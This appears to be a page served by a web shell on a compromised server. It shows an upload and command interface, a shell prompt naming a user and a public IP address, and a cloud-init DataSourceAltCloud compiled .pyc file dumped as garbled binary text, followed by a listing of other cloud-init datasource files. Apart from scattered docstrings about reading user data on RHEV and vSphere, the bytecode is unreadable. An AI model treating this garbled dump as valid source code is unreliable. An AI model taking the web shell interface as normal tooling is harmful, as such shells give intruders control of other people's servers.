404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.188.27.67: ~ $
3

\�me� �@s�dZddlZddlZddlZddlZddlmZmZmZm	Z	ej
e�ZdZ
ddgZiddid	�Zd
d�ZGdd
�d
ej�Zdd�ZeejejffgZdd�ZdS)zb
This file contains code used to gather the user data passed to an
instance on RHEVm and vSphere.
�N)�dmi�sources�subp�utilz/etc/sysconfig/cloud-infoZmodprobeZfloppyi�Z	localhost)zblock-device-mappingzinstance-idzlocal-hostnameZ	placementcCsp|d}|d}ytj|�j�}WnHtk
rjytj|�j�}Wn tk
rdtjtd�dSXYnX|S)an
    Description:
        This callback will be applied by util.mount_cb() on the mounted
        file.

        Deltacloud file name contains deltacloud. Those not using
        Deltacloud but instead instrumenting the injection, could
        drop deltacloud from the file name.

    Input:
        mount_dir - Mount directory

    Returns:
        User Data

    z/deltacloud-user-data.txtz/user-data.txtz Failed accessing user data file.N)r�	load_file�strip�IOError�logexc�LOG)Z	mount_dirZdeltacloud_user_data_fileZuser_data_fileZ	user_data�r�(/usr/lib/python3.6/DataSourceAltCloud.py�read_user_data_callback&sr
c@sHeZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dS)�DataSourceAltCloudZAltCloudcCs"tjj||||�d|_d|_dS)N�/�file://)rr)r�
DataSource�__init__�seedZsupported_seed_starts)�selfZsys_cfgZdistro�pathsrrrrLszDataSourceAltCloud.__init__cCstjj|�}d||jfS)Nz%s [seed=%s])rr�__str__r)r�rootrrrrQszDataSourceAltCloud.__str__cCs�tjjt�rJytjt�j�j�}Wn"tk
rDtj	t
dt�dSX|Stjd�}|s\dS|j�}|j
d�rrdS|j
d�r�dSdS)at
        Description:
            Get the type for the cloud back end this instance is running on
            by examining the string returned by reading either:
                CLOUD_INFO_FILE or
                the dmi data.

        Input:
            None

        Returns:
            One of the following strings:
            'RHEV', 'VSPHERE' or 'UNKNOWN'

        z'Unable to access cloud info file at %s.ZUNKNOWNzsystem-product-name�RHEVZVMWARE�VSPHERE)�os�path�exists�CLOUD_INFO_FILErrr�upperrr	r
rZ
read_dmi_data�
startswith)r�
cloud_typeZsystem_nameZsys_namerrr�get_cloud_typeUs&


z!DataSourceAltCloud.get_cloud_typecCsbtjd�|j�}tjdt|��d|kr8|j�rRdSnd|krN|j�rRdSndStjtd�dS)a�
        Description:
            User Data is passed to the launching instance which
            is used to perform instance configuration.

            Cloud providers expose the user data differently.
            It is necessary to determine which cloud provider
            the current instance is running on to determine
            how to access the user data. Images built with
            image factory will contain a CLOUD_INFO_FILE which
            contains a string identifying the cloud provider.

            Images not built with Imagefactory will try to
            determine what the cloud provider is based on system
            information.
        zInvoked get_data()zcloud_type: %srTrFzFailed accessing user data.)r
�debugr!�str�user_data_rhevm�user_data_vsphererr	)rr rrr�	_get_data~s
zDataSourceAltCloud._get_datacCs:|j�}t|d�stj|_|dkr(d|_d|j�|jfS)z(Return the subplatform metadata details.�sourcerz/dev/fd0z%s (%s))r!�hasattrrZMETADATA_UNKNOWNr'�lower)rr rrr�_get_subplatform�s
z#DataSourceAltCloud._get_subplatformc,Csd}y
t�Wn0tjk
r>}ztjtd|�dSd}~XnXd}ytj|dd�Wn4tjtfk
r�}ztjtd|�dSd}~XnXytj|t	�}WnRtk
r�}z|j
t
jkr��WYdd}~Xn$tjk
r�tjtd|�YnX||_
t|_|�rd	SdSdS)
a�
        RHEVM specific userdata read

         If on RHEV-M the user data will be contained on the
         floppy device in file <user_data_file>
         To access it:
           modprobe floppy

           Leverage util.mount_cb to:
               mkdir <tmp mount dir>
               mount /dev/fd0 <tmp mount dir>
               The call back passed to util.mount_cb will do:
                   read <tmp mount dir>/<user_data_file>
        NzFailed modprobe: %sFz/dev/fd0�)rZtimeoutzFailed udevadm_settle: %s
z-Failed to mount %s when looking for user dataT)�modprobe_floppyrZProcessExecutionErrorrr	r
Zudevadm_settle�OSError�mount_cbr
�errno�ENOENT�MountFailedError�userdata_raw�META_DATA_NOT_SUPPORTED�metadata)r�
return_str�eZ
floppy_dev�errrrrr$�s6
z"DataSourceAltCloud.user_data_rhevmcCs�d}tjd�}x||D]t}ytj|t�}|r2||_PWqtk
rd}z|jtjkrT�WYdd}~Xqtjk
r�tj	t
d|�YqXqW||_t|_
|r�dSdSdS)a�
        vSphere specific userdata read

        If on vSphere the user data will be contained on the
        cdrom device in file <user_data_file>
        To access it:
           Leverage util.mount_cb to:
               mkdir <tmp mount dir>
               mount /dev/fd0 <tmp mount dir>
               The call back passed to util.mount_cb will do:
                   read <tmp mount dir>/<user_data_file>
        NzLABEL=CDROMz-Failed to mount %s when looking for user dataTF)rZfind_devs_withr.r
r'r-r/r0r1r	r
r2r3r4)rr5Z
cdrom_listZ	cdrom_devr7rrrr%�s*

z$DataSourceAltCloud.user_data_vsphereN)�__name__�
__module__�__qualname__Zdsnamerrr!r&r*r$r%rrrrrHs)'	6rcCs&tjt�\}}tjddjt�|�dS)NzCommand: %s
Output%s� )r�CMD_PROBE_FLOPPYr
r"�join)�outZ_errrrrr,
sr,cCstj|t�S)N)rZlist_from_depends�datasources)Zdependsrrr�get_datasource_listsr@)�__doc__r/ZloggingrZos.pathZ	cloudinitrrrrZ	getLoggerr8r
rr<r3r
rrr,ZDEP_FILESYSTEMZDEP_NETWORKr?r@rrrr�<module>
s$
"F


Filemanager

Name Type Size Permission Actions
DataSourceAkamai.cpython-36.opt-1.pyc File 8.18 KB 0644
DataSourceAkamai.cpython-36.pyc File 8.18 KB 0644
DataSourceAliYun.cpython-36.opt-1.pyc File 3.22 KB 0644
DataSourceAliYun.cpython-36.pyc File 3.22 KB 0644
DataSourceAltCloud.cpython-36.opt-1.pyc File 6.74 KB 0644
DataSourceAltCloud.cpython-36.pyc File 6.74 KB 0644
DataSourceAzure.cpython-36.opt-1.pyc File 47.95 KB 0644
DataSourceAzure.cpython-36.pyc File 47.95 KB 0644
DataSourceBigstep.cpython-36.opt-1.pyc File 1.84 KB 0644
DataSourceBigstep.cpython-36.pyc File 1.84 KB 0644
DataSourceCloudSigma.cpython-36.opt-1.pyc File 3.62 KB 0644
DataSourceCloudSigma.cpython-36.pyc File 3.62 KB 0644
DataSourceCloudStack.cpython-36.opt-1.pyc File 5.97 KB 0644
DataSourceCloudStack.cpython-36.pyc File 5.97 KB 0644
DataSourceConfigDrive.cpython-36.opt-1.pyc File 8.18 KB 0644
DataSourceConfigDrive.cpython-36.pyc File 8.18 KB 0644
DataSourceDigitalOcean.cpython-36.opt-1.pyc File 3.65 KB 0644
DataSourceDigitalOcean.cpython-36.pyc File 3.65 KB 0644
DataSourceEc2.cpython-36.opt-1.pyc File 23.49 KB 0644
DataSourceEc2.cpython-36.pyc File 23.49 KB 0644
DataSourceExoscale.cpython-36.opt-1.pyc File 5.92 KB 0644
DataSourceExoscale.cpython-36.pyc File 5.92 KB 0644
DataSourceGCE.cpython-36.opt-1.pyc File 9.83 KB 0644
DataSourceGCE.cpython-36.pyc File 9.93 KB 0644
DataSourceHetzner.cpython-36.opt-1.pyc File 3.78 KB 0644
DataSourceHetzner.cpython-36.pyc File 3.78 KB 0644
DataSourceIBMCloud.cpython-36.opt-1.pyc File 12.44 KB 0644
DataSourceIBMCloud.cpython-36.pyc File 12.44 KB 0644
DataSourceLXD.cpython-36.opt-1.pyc File 13.31 KB 0644
DataSourceLXD.cpython-36.pyc File 13.31 KB 0644
DataSourceMAAS.cpython-36.opt-1.pyc File 11.86 KB 0644
DataSourceMAAS.cpython-36.pyc File 11.86 KB 0644
DataSourceNWCS.cpython-36.opt-1.pyc File 3.77 KB 0644
DataSourceNWCS.cpython-36.pyc File 3.77 KB 0644
DataSourceNoCloud.cpython-36.opt-1.pyc File 7.97 KB 0644
DataSourceNoCloud.cpython-36.pyc File 7.97 KB 0644
DataSourceNone.cpython-36.opt-1.pyc File 1.47 KB 0644
DataSourceNone.cpython-36.pyc File 1.47 KB 0644
DataSourceOVF.cpython-36.opt-1.pyc File 9.15 KB 0644
DataSourceOVF.cpython-36.pyc File 9.15 KB 0644
DataSourceOpenNebula.cpython-36.opt-1.pyc File 11.75 KB 0644
DataSourceOpenNebula.cpython-36.pyc File 11.75 KB 0644
DataSourceOpenStack.cpython-36.opt-1.pyc File 7.91 KB 0644
DataSourceOpenStack.cpython-36.pyc File 7.91 KB 0644
DataSourceOracle.cpython-36.opt-1.pyc File 10.99 KB 0644
DataSourceOracle.cpython-36.pyc File 10.99 KB 0644
DataSourceRbxCloud.cpython-36.opt-1.pyc File 7.19 KB 0644
DataSourceRbxCloud.cpython-36.pyc File 7.19 KB 0644
DataSourceScaleway.cpython-36.opt-1.pyc File 10.84 KB 0644
DataSourceScaleway.cpython-36.pyc File 10.84 KB 0644
DataSourceSmartOS.cpython-36.opt-1.pyc File 24.51 KB 0644
DataSourceSmartOS.cpython-36.pyc File 24.51 KB 0644
DataSourceUpCloud.cpython-36.opt-1.pyc File 4.36 KB 0644
DataSourceUpCloud.cpython-36.pyc File 4.36 KB 0644
DataSourceVMware.cpython-36.opt-1.pyc File 23.66 KB 0644
DataSourceVMware.cpython-36.pyc File 23.66 KB 0644
DataSourceVultr.cpython-36.opt-1.pyc File 3.44 KB 0644
DataSourceVultr.cpython-36.pyc File 3.44 KB 0644
__init__.cpython-36.opt-1.pyc File 30.52 KB 0644
__init__.cpython-36.pyc File 30.52 KB 0644